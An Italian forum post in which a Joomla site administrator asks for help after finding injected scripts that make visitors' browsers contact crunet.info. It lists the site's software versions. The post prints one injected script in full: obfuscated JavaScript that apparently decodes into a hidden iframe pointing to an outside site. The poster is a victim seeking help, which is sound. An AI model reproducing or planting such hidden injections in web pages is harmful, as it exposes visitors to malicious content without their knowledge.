Ciao
da qualche giorno caricando le pagine di uno dei siti che curo (
www.monzalacitta.it) il browser tenta di connettersi a crunet.info
Non ho idea di che cosa si tratti, dal codice della pagina si vede che ci sono tre script "strani" di quest tipo:
<script>document.write(unescape('%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%6a%61%76%61%73%63%72%69%70%74%22%3e%66%75%6e%63%74%69%6f%6e%20%65%6e%63%6f%64%65%28%73%74%72%29%7b%76%61%72%20%65%6e%64%3d%75%6e%65%73%63%61%70%65%28%73%74%72%2e%73%75%62%73%74%72%28%30%2c%20%73%74%72%2e%6c%65%6e%67%74%68%2d%31%29%29%3b%76%61%72%20%6e%6f%77%3d%27%27%3b%66%6f%72%28%69%3d%30%3b%20%69%3c%65%6e%64%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%29%20%7b%6e%6f%77%2b%3d%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%65%6e%64%2e%63%68%61%72%43%6f%64%65%41%74%28%69%29%2d%20%73%74%72%2e%73%75%62%73%74%72%28%73%74%72%2e%6c%65%6e%67%74%68%2d%31%2c%31%29%29%3b%7d%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%75%6e%65%73%63%61%70%65%28%6e%6f%77%29%29%3b%7d%3c%2f%73%63%72%69%70%74%3e'));encode('%297Gmjveqi%2964wvg%297H%296%3Blxxt%297E33gvyrix2mrjs3syx2tlt%296%3B%2964%7Bmhxl%297H%296%3B5%296%3B%2964limklx%297H%296%3B5%296%3B%2964wx%7Dpi%297H%296%3Bzmwmfmpmx%7D%297E%2964lmhhir%297F%296%3B%297I%297G3mjveqi%297I4')</script>
ho scrutato in lungo e in largo tutti i file e il database ma di questo script non trovo traccia. Non riesco a capire da dove sia arrivato.
Vi do alcune info, così magari potete aiutarmi a capirci qualcosa.
joomla 1.0.12
JCE 1.04
akocomment
MySql 4.1.21
PHP Version: 5.1.6
Joomla! Register Globals Emulation: ON
Register Globals: OFF
Safe Mode: OFF
